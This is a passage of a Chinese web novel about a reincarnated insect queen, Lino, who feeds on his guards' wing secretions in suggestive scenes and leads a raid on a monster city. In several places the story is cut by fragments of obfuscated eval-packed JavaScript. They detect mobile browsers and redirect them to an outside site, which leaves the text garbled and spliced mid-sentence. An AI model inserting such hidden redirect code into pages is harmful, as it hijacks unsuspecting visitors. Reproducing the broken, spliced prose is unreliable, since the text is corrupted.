安瑟姆很小就被告知，他以后会成为虫母的侍从，运气好，虫母会很早出现，运气不好，他可能需要教导下一任队长来等待虚无缥缈的虫母。 他很早就在想，虫母会是什么样子的，“祂”也许很漂亮，也很温柔，是那种会让虫一眼就知道那就是他终生效忠的存在。 然而教导他的那位衣鱼长辈却说，虫母会是最高掌权者，注定统御虫族，不计代价驱散迷雾。 在那位前辈的口中，虫母似乎变成了冰冷无情的政治机器。 安瑟姆很庆幸，利诺冕下是很鲜活的、很惹虫爱的存在。 “没你想的那么夸张，我不过是认为伤亡的最小化利于虫族的发展。”利诺被说的浑身发凉，他可没那么正直无私。 安瑟姆不再说话，只是用柔软的目光爱抚一只嘴硬的小蝴蝶。 15. 第十五章 迷雾世界的天是混浊的，天空、云和暗沉的颜色杂糅在一起，久视会有不舒服的感觉。 在荒沙遍布的凄凉里，黑皮怪物集聚的城市突兀矗立，外表的华丽与周遭的环境格格不入，仿佛是凭空出现在这里。 大门敞开，时不时有饿得骨瘦如柴的黑皮怪物从里面或走或怕，漆黑凹陷的眼睛里充斥饥饿。 除此之外，也有几只怪物守门，他们偏向高壮的体型，衣着整洁，精神面貌很好。 有只饿到站不起来的黑皮怪物从门内艰难爬出来，离开砖块浇砌的地面，触及荒土，仿佛再也无法承受饥饿，将头埋进沙子内，将粗糙干燥的沙粒吞进口中，期望以此换取些许饱食感。 “嗬嗬……嗬嗬……” 沙子堵塞怪物的食道和口鼻，怪物已经无法呼吸，但仍旧吞吃沙子，直至彻底死亡。 守门的怪物随意瞥了眼死掉的怪物，嫌恶地扭头。 另外两只同样瘦弱的怪物直接扑过去，咬食同伴的肉，嚼碎同伴的骨，五官愉悦挤成一团。 “好恶心。”潜伏在附近的虫族目睹全程，犀利评价。 伊戈提安则支着下巴，闻言瞟了眼说话的虫族，哼笑：“这有什么？等你毕业后进入军部，门关多了就知道，怪物相互蚕食还不算最恶心的。” “伊戈提安阁下，您能够详细说说吗？”那虫族是被卷入迷雾的这届新生，好奇问。 “当然……”周遭的几只虫子投来期待的目光，伊戈提安笑容恶劣，“不可以！老子没义务和你们说。” 伊戈提安被称为军部第一混蛋不是没有缘由的：“你们没有资格，要是那位冕下问，我说不定还会多说些。” 想到那只漂亮到他心尖尖上的蝴蝶，伊戈提安的牙齿和翅膀根又开始发痒。 洛尔南嗤笑，敌意丝毫不掩饰：“伊戈提安阁下，擦擦嘴吧，你的口水都要留下来了。” 在利诺面前经常傻乎乎被倒着走的黄蜂，离开虫母的视线外，就更贴合他原本的样子，一只因为资质而从小被当做未来精英士兵培养的虫族。 伊戈提安当然不会上小年轻的当，他张开尖锐的、在口腔内层层重叠的变异牙齿，似是调侃也似是威胁：“彼此彼此，你溜进冕下屋内时馋得如同十几年没去贡献繁衍细胞的样子。” 顿了顿，他恍然大悟：“看来我说对了，洛尔南同学，要多注意身体健康，年纪轻轻就……可就不好了。” 洛尔南冷冷道：“这就不用伊戈提安阁下费心，至少利诺冕下很满意。” 作为昨天发现洛尔南潜进帐篷又带着一身虫母气味出来的伊戈提安：…… 他皮笑肉不笑：“恭喜洛尔南同学。” 其他虫族完全不知道伊戈提安和洛尔南之间发生了什么，怎么突然硝烟味这么重。 洛尔南抬眸看向怪物城市的方向：“谢谢。” 说你你还喘上了……伊戈提安暗骂洛尔南是只贱虫。 这时，有意缓解气氛的虫族开口：“伊戈提安阁下，您是否遇到过类似怪物有智慧的情况？” 伊戈提安无所谓地回答：“没有，但元帅曾经遇到过。” “那扇门后来是否关闭了？”这些还没有真正实战过的年轻虫族连忙追问。 “元帅没有失手过。”只是付出的代价很大，伊戈提安没说出剩下的半句，这是军部机密，他不能详细告知。 事实上，他已经算是泄密了，但那又如何？伊戈提安因为不受管教早就被罚多次，再来几次也无妨。 “我的直觉告诉我，这扇迷雾之门很危险。”利诺在驻扎点开口，蹙着眉，“我没有听说过迷雾中的怪物存在智慧。” 安瑟姆得体地将一杯香气四溢的茶摆在桌子上：“无须担心，没有什么迷雾是我们驱散不了的。” “我们会秉承您的意志，为您开辟新的宇宙。” 利诺：“……严肃点！” 白嫩的小脸偶尔严肃起来，也缺点威严，只会跳动虫族的脏器怦怦跳。 安瑟姆老实道：“其实元帅早先就遇到过一次类似的门，很棘手，他带来的士兵只剩下一小半，他也因为意识海的受损而一直养病。” 利诺很少听说元帅，只知道他在某疗养院内养病，情况不好，因此培养了希尔维乌斯来做接班者。 而名义上，一军军长和元帅是差不多划等号的，谁都知道，希尔维乌斯成为军长板上钉钉。 能够让元帅吃瘪的迷雾之门，利诺倒吸一口凉气，他好倒霉，进了个超级危险的迷雾之门！ 莫非他所有的好运气都用在成为虫母这件事上了！ 小蝴蝶有点忐忑，然而被末世观影响过深，正在安瑟姆担心利诺会害怕时，却看到一抹兴奋和恐惧的笑容浮现于青年的脸上。 利诺仰头：“我一定要把这扇门关上！” 面对危险甚至可能致死的境地，小蝴蝶反而跃跃欲试。 利诺很怀念上辈子在削丧尸脑袋的感觉，也很满意他置死地而后生、用刀戳死强大怪物队长的刺激。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940056|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安瑟姆沉默了，他突然，有些怀疑虫生。 “吼……”不远处传来虫兽的嘶鸣。 利诺站起来张望，就看到一大早消失不见的虫兽风尘仆仆地赶回来。 令他惊喜的是，虫兽的怀里捧着一把粉嫩颜色的斧头，是他的武器。 “天，你真好！”对于对他好的虫子，利诺从不吝啬他的笑容、拥抱和撒娇。 他扑过去，从蝴蝶骨伸展的翅膜张开，红晕在空中划出两道光华。 利诺借着飞行升高，随即抱住虫兽狰狞的头，使劲蹭蹭。 他亲亲热热地拥抱着无意识的虫兽：“我还以为你走了，没想到你是帮我找斧头了！” 面对把他从血污和尸体中抱走的虫兽，利诺不可避免有雏鸟情节，他本还因为虫兽的消失而有些黯然，然而虫兽反手又给了他一个巨大的惊喜。 利诺不是没想过将武器找回来，但是想了想只能作罢，毕竟他不确认是否还会有黑皮怪物循着死掉的怪物找过来。 “你有没有受伤？”利诺和虫兽贴贴后，拍打翅膀绕着虫兽飞。 虫兽静默片刻，尖锐的虫肢翻面，用不那么锐利的一面对上了利诺的肚子。 安瑟姆脸色大变：“冕下！” 虫兽是不可控的危险因素，安瑟姆一直在时刻提防虫兽，就怕他伤害到利诺。 安瑟姆和几只护卫虫冲过去，又僵硬停到一半。 因为虫兽只是摸了摸利诺的肚子，咕噜咕噜着，将盛满废液的翅膀伸到利诺的面前。 虫兽眼神清明不少，依然没有记忆，而且安瑟姆这些高级虫族想不出来这是哪只虫族。 但虫兽对虫母的事情了解很多，比如蜕变，又比如喂食。 虫兽简单的脑子现在很不满，妈妈需要不断地喂食，妈妈只要饿肚子就会很难受……可是这些虫族却放任妈妈的肚子空空，不时时刻刻填饱妈妈的肚子……真没用。 整支护卫队都被虫兽打上了废虫的标记。 利诺的确有些饿，但是……现在进食不是时候啊！ 他现在都感受到了以安瑟姆为首的虫族们不敢置信的目光。 利诺绝望地闭上双眼，完了，他现在成了爱吃废液的变太了！ 他的威严没了！丢了！ 自知这一癖好已经惨遭泄露，利诺索性破罐子破摔，将嘴巴凑近淡金色的蜜水里。 他不能既秘密没了还要饿着，反正都暴露了，还不如吃饱点！ 利诺含泪干了两大碗！ 16. 第十六章 于是，所有留在营地守卫虫母的虫族都看到，他们的冕下扒拉壮实虫兽的翅膀，一副饿坏了的样子，用粉嫩的舌尖轻舔流动的金色液体。 除来风吹动沙石，就只有利诺不断吞咽的声音。 也许是昨天吃了洛尔南的，利诺没有吃太多，就觉得暖洋洋的肚子有了饱食的感觉。 似是奖励，利诺轻咬了下虫兽的翅膀尖，留下两枚圆钝的门牙印。 虫兽半舒爽半压抑地低吟了声，在利诺的推搡中松开对他的搂抱，沉默将其放回地面。 利诺抬眸环视四周，和他想象中不一样，虫族虽然惊讶这年头会有虫吃废液，但更多的，是兴奋。 是的，虫族在兴奋地颤栗，他们终于知道，为什么一闻到利诺冕下的气味，翅膀止不住地分泌废液。 那不是废液，是冕下需要的食物，他们的翅膀是战争武器，也是虫母生长需要的食物来源！ 是他们存在的理由！ 不知不觉，安瑟姆张开柔软的翅翼，犹疑着朝利诺走去：“冕下……” 安瑟姆的声音沙哑至极。 和虫兽、洛尔南的蜜水一样甜蜜，但味道是不一样的，利诺小心嗅了嗅，得出一个结论，那就是每只虫族分泌的蜜水都是与众不同的风味。 洛尔南的蜜液犹如清甜的桃子，虫兽的犹如甜牛奶，而安瑟姆的…… 安瑟姆此时俯下身，壮实却并不夸张的胸肌微微压在利诺的肩膀，缺乏攻击性的五官端正。 距离太近了，以至于利诺的心跳漏了半拍。 没等利诺后退，安瑟姆垂眉将自己的乳白翅翼落在利诺的面前。 “是安瑟姆的失职，竟然没有察觉到冕下需要虫族的哺育……如果可以，请您品尝，无论多少。”忠诚体贴的护卫队队长轻声道。 利诺将食指放在安瑟姆的翅膀上：“我已经吃饱了，但是……” 指尖随着翅膀延伸到根部，由于安瑟姆在利诺面前总会将自己放在低位，因此利诺居高临下，指腹擦过根部分泌液体的地方。 利诺弯唇：“我可以先尝尝你的味道。” 天知道，利诺就是单纯地好奇安瑟姆到底是什么味道的。 然而无形中被挑逗的老实虫子立刻涨红了脸，淡金液体分泌得更多，他微微仰头，望向虫母的眼神越发依恋。 利诺舔掉手指上的液体，咂咂嘴，眼神亮起来，好像他上辈子喝过的椰奶！ 在末世，椰奶这种物资很珍贵，利诺也是当上基地副首领后才被分了一小罐。 而这个世界，有椰子也有奶，但是没有椰奶，毕竟虫族们都不怎么重口腹之欲，大部分时间只会喝营养液。 利诺则是虫族的异类，他喜欢品尝见到的每一样食物，但由于种族的原因，虫族并不会花心思制作食物，相对稀少的水果就算是零食。 “安瑟姆，等晚上，可以让我吃吗？”利诺是只天然渣的蝴蝶，在尝到椰奶的味道后，就迅速抛弃洛尔南和虫兽，渴望起安瑟姆的蜜水。 安瑟姆的脸越发得红，他想到的，不仅是即将被虫母冕下品尝的翅膀，还有曾被教导的、如何讨好虫母的方法。 虫族不需要依靠本身繁衍，他们也没有那个能力，在利诺出现前更没有那种欲望，所有虫子对交/配都是空白的一张纸，甚至有些虫子连那二字都不知道。 安瑟姆则不一样，虫母拥有繁衍的职责，按照之前几代衣鱼前辈的数据预测，虫族若是有性别，那么虫母偏向雌性，其他的虫群则是雄性。 只有结合，才会有正常的、不需要依靠科技手段就可以诞生的虫蛋。 而安瑟姆，实际上就是首先被选中的，有资格与虫母相拥的那只幸运雄虫。 安瑟姆颤着音节：“遵命，冕下。” 以生命和荣誉作保，他一定会让利诺冕下舒服的！ 利诺怪异瞅了安瑟姆一眼，他脸红个什么劲，虫族还有发烧这种病症吗？ “呜呜……冕下，您、您杀死我吧！”有只留在营地的、属于军校学生的中等虫族扑通一声，跪在地上。 声音很响，带动利诺的膝盖不禁为之隐隐作痛：“你有什么事？” 他没见过虫族有会哭的，这是第一只哇哇大哭的虫族，所以利诺多看了好几眼。 原来不是虫族不会哭，只是未到伤心处……这只虫子哭得稀里哗啦，眼泪糊满了脸：“我、我把废液分泌腺给割了……” “……”所有虫子看这只中级虫族的眼神都不一样了。 利诺挠挠头，安慰：“我记得这种手术很常见，有不少虫族都做了，没什么大不了的。” 毕竟废液需要定期清理，割了对那些讨厌麻烦的虫族来说简直一劳永逸。 然而，他们没有想到，时代变了……显而易见，虫族的全身都没有无用的部位，那分泌废液的部位，完全是为虫母而生。 “冕下呜呜呜……谢谢您的安慰……”割除分泌腺的虫族绝望地哭泣，他还是很想死。 当初割了之后有多么得意，现在就有多后悔，中等虫族的眼泪掉得更厉害了。 没事割分泌腺干什么，他怎么当初不割了他的脑袋！ 利诺的安慰苍白无力，但能得到小蝴蝶的一句安慰，这名虫族一边庆幸一边陷入自厌的情绪。 安瑟姆贴着利诺的耳朵，低声道：“冕下别费心，我有办法。” “有劳你了，安瑟姆。”利诺实在不擅长安慰虫族，他投来感激的目光。 安瑟姆颔首，对两只护卫兵打了个手势，还在哭的中级虫族被拖着走了。 “……”利诺指着问，“安瑟姆，不至于要杀虫灭口吧？” 护卫队的虫族个个气势汹汹，拖走灰败虫族的时候没有一点怜惜。 安瑟姆回：“打一顿就好了。” “啊？” “虫子都是贱骨头，打一顿就好了。”安瑟姆再次认同地点头，“冕下放心，不会打残打死他。” 利诺无话可说，他坐回椅子上，等着变形虫那里传来消息。 意识海内，利诺用精神覆盖整片星群，不算很容易，他才刚彻底成熟，需要漫长的时间一步步增强。 为数不多的传承告知了他如何真正高效统御虫群的方法，意识海的精神联系是虫母特有的能力。 利诺试着，朝星点们打招呼：“你们好。” 【你、们、好？】 断断续续的通用语问好通过意识海，超越空间的局限，传到每一只虫族的意识内。 满天的星点急促闪烁，回应着未知却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其他小队也纷纷回应：【阁下，我们杀光这座城的怪物就会来支援您。】 【我们也快把这里的城市攻下来了】 …… 【辛苦了，注意安全。】利诺说完最后一句，中断精神覆盖。 接着，利诺捂着越来越疼的脑子，吐出一口血。 “冕下！” 虫群连忙着急涌过来，安瑟姆抱住利诺，瞳孔颤抖，他在恐惧。 嘴角挂血的利诺实实在在让这些刚拥有虫母的虫子吓破了胆子。 安瑟姆瞬间察觉到利诺吐血的原因，毕竟利诺的精神覆盖是整个虫群，也包括他。 “冕下，没有下次了。”他将干净的手帕浸了清水，擦拭利诺唇上的鲜血，罕见的严肃，“您的健康和安全重于一切。” 利诺吐了口血，脑子就不怎么疼了，就是有些虚弱，但结果很值得。 他也是才想起来他有这种bug级的能力，利诺对虫母这个新身份还没有完全适应。 安瑟姆冷起脸来有些可怕……利诺讪讪地用手指勾起安瑟姆绷直下压的唇角，放软音调：“我饿了。” 17. 第十七章 没有一只虫族会抵抗住虫母的撒娇，更何况利诺深谙此道。 还在养育院内时，老院长从来舍不得去罚犯了错的利诺，就是因为利诺会泫然泪泣，勾着老院长的衣角弱弱道歉。 养育院对虫子们的成长是非常严苛的，对犯错虫子的惩罚也很严重，他们要的是坚韧勇敢的战士，而不是任性的孩子或潜在的犯罪分子。 利诺不想被关禁闭，也不想被钉满粗钉的板子打。 安瑟姆两眼发直，利诺不需要再撑着他的嘴角，他的嘴角已经自动上扬。 利诺佯装虚弱地低咳，重复：“饿了。” 安瑟姆立刻把刚才的冷脸抛到脑后，抱起虚弱的虫母走近屋内，分泌出椰奶味道的液体。 利诺因为意识海枯竭而需要补充能量，他的能量来源就是其他虫族分泌的蜜水。 根据相关研究表示，虫族翅根骨的废液腺定期产生的废液营养极其丰富，还有众多无法检测出的微量物质。 虫族无法吸收，但对利诺来说，既是填饱肚子、促进生长和成熟的食物，也是补充精神力的“小蓝瓶”。 …… 利诺把头埋进安瑟姆的肩上，手指捏着安瑟姆一侧的翅根，神情餍足，索取完雄虫的蜜液，意识海再度充盈。 虫族的翅膀很敏感。 忠诚的护卫半蹲在利诺的面前，衣衫半解，高强度训练形成的肌肉起伏，胸肌上沾染了几滴从翅膀滴落的淡金色液体，随着虫子的急促呼吸而经过结实的腹肌，流到蓬勃之处。 利诺全然没有发现，他的护卫队长被他撩拨得差点发狂，他也没有发现，他和安瑟姆的距离有多么暧昧。 他和安瑟姆是正常的上下属互利关系，老大管理照拂下属，下属给老大提供助力。 雄虫的分泌腺体被虫母揉捏，却因为榨取而彻底干涸，在短时间内不会再分泌出可供虫母的食物。 “冕、冕……冕下……”安瑟姆攥紧拳，任由虫母玩弄他的翅膀，再受不了的时候低声呼喊。 要是利诺再这么弄下去，安瑟姆就会在尊贵的冕下面前彻底出丑。 他眷恋和利诺的亲近，又惶恐因为不受控制的生理而遭到虫母的厌弃。 利诺没有听到，他收到了变形虫传来的消息，意识海内属于变形虫的星点在尝试和他沟通。 变形虫在城市内压低声线：【冕下，我成功混了进来，里面实力较弱的怪物不剩几个了，大部分怪物都是被白主选中赐福而得到增强的怪物。】 变形虫补充：【白主应该是城市的统治者，不过一些怪物都说白主已经成了神】 【白主在城市中心的圣殿内，只有被赐福过的怪物才可以进入，我没有办法潜入。】 【不过冕下，我得到了一个重要消息，等日星高悬之际，白主会外出巡游，铲平一切外来的邪魔。】 变形虫小声嘀咕：【冕下，我们好像被喊邪魔了……明明我们是虫族……】 潜伏的虫子有些不忿，话里的意思明显想在城市内大喊他们是虫族，邪魔二字完全玷污了他们的虫母冕下！ 【冕下您是那么高贵美丽……】变形虫脱口就是一长串不重复的溢美之词。 利诺揉揉额角，几句话压下变形虫的冲动，询问城市内部的构造。 在变形虫的描述下，利诺拿着安瑟姆提供的纸笔在一侧的桌子上迅速勾勒出简单的内部地图。 得益于上辈子的丰富经验，利诺在城市的某处画了一个圈。 除此之外，更多的信息都在圣殿内，而变形虫无法进入其中，事实上，他提供的情报已经足够了。 告知变形虫尽快出来，利诺在地图边刷刷写下几行，拿给安瑟姆看：“我准备明天趁着那什么白主巡游的时候就从这个方向攻进去……” 话没有说完，利诺睁大眼睛，看到的是安瑟姆闷哼着湿掉的裤子。 安瑟姆低着头不敢看利诺：“冕下，抱歉。” 在利诺揉捏他的翅膀和利诺周身好闻气息的影响下，安瑟姆最终还是没忍住。 “……”利诺惊讶地看了看安瑟姆的裤子，关心道，“没关系，安瑟姆，不过你是不是很久没有去贡献繁育细胞了？” 安瑟姆看起来都憋坏了，在这种时候都能…… “不是……”安瑟姆闭上竖瞳，再睁开时，恢复到平时的沉稳，“冕下，我会清理干净。” 利诺一向对下属很和善，拍了拍安瑟姆的肩膀，一副过来人的语气：“放心，都是男、都是同族，我懂，你先处理好，我等你。” “谢谢冕下的宽恕。”安瑟姆转身，不自然地从屋内走出来。 十分钟后，安瑟姆换上了新的衣服，但样式没换，依旧是适合作战的制服。 伊戈提安和洛尔南等虫族也已经回归，排列整齐站在利诺的面前。 扫了眼安瑟姆，伊戈提安低声：“骚包！” 说话的同时，伊戈提安也理顺了身上的军部制服，军靴锃亮，把头发撩到脑后，本就俊美的容貌愈发带有攻击性，深色的红眸牢牢黏上利诺。 利诺多看了伊戈提安好几眼，带着点艳羡，他就想长成伊戈提安这个样子，个子高，是很男人的大帅哥长相！ 不过也就羡慕一丢丢，利诺摸摸自己发尾带点粉的白头发，他有白毛控，伊戈提安的黑头发没他的白头发帅！ 漂亮青年将地图展示，并说出自己的计划。 伊戈提安原本在走神，他一向喜欢粗暴的强攻，不愿多动脑子，然而在虫母细致熟练的吩咐下，他的眼神渐渐变得复杂。 虫族在高级军校的第三年才会教的指导谋略，刚入学的利诺已然掌握。 若不是确定利诺是第一次进入迷雾之门，伊戈提安以为利诺经历了不下两位数的战役。 这位虫母，似乎比他预想中要更加特别。 …… 迷雾之门内没有恒星的照耀，所谓的日星悬空之际是迷雾世界的中午十二时。 忽略路两边被同类分食且吮吸光骨髓而丢下的怪物骨头，城市变得空荡许多，大部分瘦弱怪物都死在那天对邪魔的进攻之下。 “该死的梅克真是无能，不仅没有完成您的任务，还将城市中的居民带走了多半，害得他们在今日无法瞻仰您的伟大。”代替梅克晋升为白主最亲近仆从的亚尔道。 他将最后一件缀满珠宝的白金披风挂在白主的身后。 白主的周身隐隐有圣光浮现，他的脸则完全被光芒覆盖，伟大神明的容貌不允许任何卑贱平凡之人注视。 从繁重服饰伸出的纯黑皮肤的手，彰显他和黑皮怪物是相同的种族。 白主张开手，一把同样散发圣光的长矛迟疑几秒，迅速飞到他的手中。 长矛造型简单，但散发的威压让周围服侍的怪物们心生惊惧。 白主的声音悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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利诺上辈子杀丧尸杀多了，这辈子不杀点怪物手怪痒的。 巡游至一半，白主似乎闻到了什么，他抬头，看到了一只奇特的生物朝着他缓缓飞来。 那生物长着一对透明的翅膀，尾翼染着两团红晕，在日光折射下，绚烂的彩在翅翼浮现。 是极其美丽的存在。 有怪物高呼：“这莫非是受白主的呼唤而来的圣兽！” 亚尔也是这样以为，他崇敬道：“白主，这般美丽的生物也因为您的伟力而选择归顺您。” 白主心神微动，莫非他……真的突然有了召唤圣兽的能力？ 压下激动和升起的不安，白主朝蝴蝶试探伸出手，漆黑肤色如同洗不掉的污泥。 表面上，白主保持着高深莫测的形象。 看起来无害的小蝴蝶在天空绕了一圈，将翅膀上的磷粉播撒，粉色的小芽顶开石子路，伸展枝桠。 “白主在上，是神迹！” “神迹！” 神迹个头，明明是取你们狗命的毒药。 利诺缓缓落在白主的手上，将最后一点磷粉随着风呼到白主的脸上。 应该是这次磷粉是利诺只顾数量不顾质量生成的，所以起效果的时间不如上次快。 不过这恰好给了利诺逃走的机会，他在白主的手上待了会儿，然后才缓缓挥动翅膀。 白主伸手要握住蝴蝶时，面皮和一边眼眶被被腐蚀的剧痛传来。 18. 第十八章 磷粉自带的腐蚀属性生效，穿过覆盖脸的圣光，对白主的脸皮和一只眼球造成了无法复原的伤害。 白主捂着眼，发出疼痛的嘶吼，那只受伤的眼珠已然全盲。 与此同时，凡是被磷粉触及的黑皮怪物都捂着伤口跌坐在地面，磷粉的伤害不可谓不大，它会从皮肤一直穿透血肉，严重者会直接多上一个呲溜响的血洞。 搞完这波事，利诺飞速离开，接下来就是其他虫族的主场了，弱小的虫母只能够在护卫兵的守护下，砍上几只小虾米。 伊戈提安和安瑟姆两只高级虫族率先冲向呻吟的白主，趁病要命，凌厉的刀给无暇顾及的白主造成无数道血痕。 剩下的虫族则由洛尔南率领，以一只中级虫族和两只低级虫族为小队，相互配合攻击白主赐福过的仆从。 在两名护卫的协助下，利诺拿着心爱的粉斧头，解决跪坐在地上的瘦弱黑皮怪。 战争几乎是一边倒向虫族，出其不意的偷袭和攻击，以及虫母划分合理的小队设置，将迷雾怪物打了个措手不及。 “卑贱的外来邪魔！”白主狼狈躲藏来自高级虫族招招致命的攻击，捂着流下血泪的黑洞眼眶，“都去死吧！” 繁复古朴的长矛绽放耀目的光芒，刺破天际，化作利刃朝伊戈提安和安瑟姆飞来。 两只高级虫族堪堪躲开，但来自白主的攻击并没有结束，万千光芒化作的利刃袭来。 关键之际，虫兽用坚硬的外壳挡住白主的攻击，防御力拉满的戟虫也只能挡住白主的一波攻击，泛着冷光的壳甲伤痕累累。 好在这种攻击白主在短时间内只能使用一次，覆盖白主的圣光因为力竭而消失，露出于其他怪物无二的漆黑肤色和面容。 甚至远比其他怪物更加丑陋，一半的面皮和眼珠腐坏，露出下面怪异蠕动的红色血丝。 “该死的邪魔！”白主不复伪装的高洁，面容狰狞，牵动层层堆积的血丝在皮肤下更加蔓延，黑色的皮鼓胀到半透明的形态，几乎要被不受控的血丝撑爆。 利诺注意到了这一点，喊道：“用火！” 话音刚落，安瑟姆从空间囊中拿出十来份军部特供打火器，扔到白主身上。 高温火焰对血丝有相当大的克制作用，炙烤的焦炭从白主的身上传来。 “啊啊啊！”白主惨叫着后退，紧握的长矛也因为剧烈的痛楚而掉落在地面。 “主人！”消融一半皮肤、被毒蜂注射毒液的亚尔处于虚弱中，见到崇敬的白主模样狼狈，潜力激发从包围圈突破，搀扶即将跌倒的白主，“您还好吗？” “撤、撤退……”白主扑灭燃烧自身的沸腾火焰，圣洁的衣着和内里的血肉化作焦炭，“亚尔……回圣殿，要吃……” “好！好！奴必定会带您回圣殿！”亚尔连连点头。 利诺灿烂展颜：“那你要问我同不同意啦！” 亚尔和白主被一圈虫族包围，始终被护在安全圈内的利诺放下沾满血液的斧头，往上吹了一口气，遮挡眉眼的白粉发丝飞扬。 带着点俏皮和得意。 “卑鄙！无耻！”亚尔怒骂道，“偷袭算什么本事，有本事正面刚，我尊贵的白主一定会把你们这些蝼蚁踩在脚下！” “偷袭怎么不算本事了？”这话利诺就不爱听了，能轻而易举偷袭为什么还要费力正面来。 利诺骄矜扬起下巴：“处理掉他们！” “遵命！”虫族用贪婪的目光描绘漂亮的虫母。 突然，满心满眼都表示不服气的亚尔身形僵硬，只有眼珠可以转动。 惊恐的眼珠四下扫视，发现他的脖子被一缕红丝贯穿。 白主的声音失去一贯的优雅：“亚尔，把你奉献给我吧。” 黑皮怪物把嘴张到不合常理的宽度，一口咬掉亚尔了的头。 怪物的头骨碎裂，在白主的嘴巴里喷射红白的粘液，咯吱咯吱地嚼动。 安瑟姆立刻捂住了利诺的双眸：“冕下，是脏东西，别看！” 利诺骨头发麻，他撞见白主用大嘴包裹属下的场景，能从声响中还原出大概的场景。 白主两三口吃掉忠心耿耿的属下，同类的血肉似乎让他恢复了力气，他冷眼扫视：“我即不死。” 八对白翼张开，羽毛飞舞，扇动带起的巨风扬起肮脏的灰尘。 几只虫族率先把身体挡在利诺周围，不让灰尘弄脏他们的冕下。 白主则趁着这个时机飞到半空，就要往圣殿的位置飞。 “去你的不死！装货！”小蝴蝶不知何时趴在了白主的背上，纤细的肢体从怪物的脊背没入，从前胸探出。 利诺恶狠狠地问：“就是你要把我捉走吧！”说着又不解气地狠狠捅了几个来回。 不算上一辈子，被虫兽带走的那次，是利诺活这么大被揍得最严重的一次，他差点就要重开了！ 不多来几脚，利诺觉得不解气。 洛尔南和安瑟姆分别按着白主的胳膊和双腿，纵容地让利诺尽情发泄，目光宠溺。 区区灰尘完全奈何不了在宇宙的真空环境都可以生存一段时间的虫族，这个被奉为神明的白主其实也不怎么聪明。 安瑟姆钳制住白主挣扎的四肢，操心着利诺的身体：“冕下，您千万不要打疼了您漂亮的虫足。” “没错，要不我替你打？”洛尔南插嘴。 因为体积不大，蝴蝶的三对虫足都显得无比纤细可爱，即使它们锋利坚硬，在这些虫族的眼里，也是需要小心爱护的、属于虫母的一部分。 被揍的白主硬生生呕出一口老血，这些邪魔简直不是邪魔，是从地狱爬出来的魔鬼！ 利诺捅痛快时，三对蝴蝶虫足已经血淋淋的，当然，全都是白主的血。 “冕下，请容许我来为您擦拭。”安瑟姆伸出手掌，轻巧蝴蝶便悠悠落在他的掌心。 安瑟姆掏出干净的手帕擦拭虫母冕下的瑰丽身躯。 没有手帕的洛尔南被安瑟姆抢占先机，冷眼旁观。 至于白主，他的翅膀被洛尔南撕掉，在洛尔南松手后从半空坠落，独眼射出恶毒的光芒。 但是丧家之犬不会再有报复的机会，伊戈提安踩上白主的头，啧了声，艳羡：“死前能被冕下亲自给几脚，美死你吧！” 是人言否？ 生命走到尽头的白主再次被气得吐出一大口血，随即，军靴利落踩碎罪孽的怪物脑袋。 一把火焰将身体内被血丝占据的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不对劲，伊戈提安，用你的能力感知下四周是否存在暗道。”安瑟姆是最理智的也最细心的。 伊戈提安没有回应。 安瑟姆扭头，就看到伊戈提安正打量一颗黑珍珠，察觉到安瑟姆的视线，挑起嘴角：“你觉得冕下会不会喜欢这种珍珠？我在外面刚好有个星球就生产这种玩意。 “如果我把整个星球都送给冕下，冕下会不会很高兴？” 伊戈提安幻想，要是可以得到虫母的许可、为他喂食液体就更好了！ 安瑟姆木着一张脸，在除利诺以外的任何虫族面前，他基本都是这样：“伊戈提安阁下，我记得你是中立派。” “……”伊戈提安扔掉珍珠，凛然，“你记错了，我是坚定的虫母拥护者！冕下指哪儿我打哪儿！” 安瑟姆无意戳穿，重复道：“伊戈提安阁下，劳烦使用你的能力。” “没问题，为虫母献上生命嘛！”伊戈提安做了个不标准的礼节，荒漠追寻蚁的能力发动。 片刻，伊戈提安挑眉：“你猜对了，底下有个密室。” 他摸到大厅的王座把手，找到方向，往下按压。 王座后面的墙壁出现一个黑洞洞的通道。 利诺将被送的珍宝堆在王座里，看了看密室通道：“钥匙会不会在里面？” 19. 第十九章 隧道暗得不见光，如同耐心等待路过猎物掉进陷阱的凶兽，闪烁危险的预兆。 但虫族不包括在内，他们的虫瞳在黑暗中仍旧可以清晰视物。 利诺眨眨眼，看不出危险，反而感觉尽头有东西在吸引他。 他嗅嗅味道，确定里面没有黑皮怪物的臭味，反而是一种奇妙的香气，抬脚就往里面走。 安瑟姆眼疾手快，一把够住胆大的虫母，往后拉扯到自己的怀里，无奈：“冕下，您想进去也不能自己一只虫就进去！” 利诺不仅没走进去，还往后退，靠在护卫队长坚实的肌肉上，诚实道：“里面有很香的味道。” 那股味道在诱惑诞生不久的虫母进去，利诺反应过来，脸色一变，庆幸地拉住安瑟姆的手臂。 他刚刚被那股香味给迷晕头了！ “隧道尽头的密室内有活物。”伊戈提安轻声告诉利诺，猩红的竖瞳兴奋扩张，“但那活物快死了，我感应不到危险的信息。” “我们进去瞧瞧，钥匙或许就在这里。”利诺作出决定。 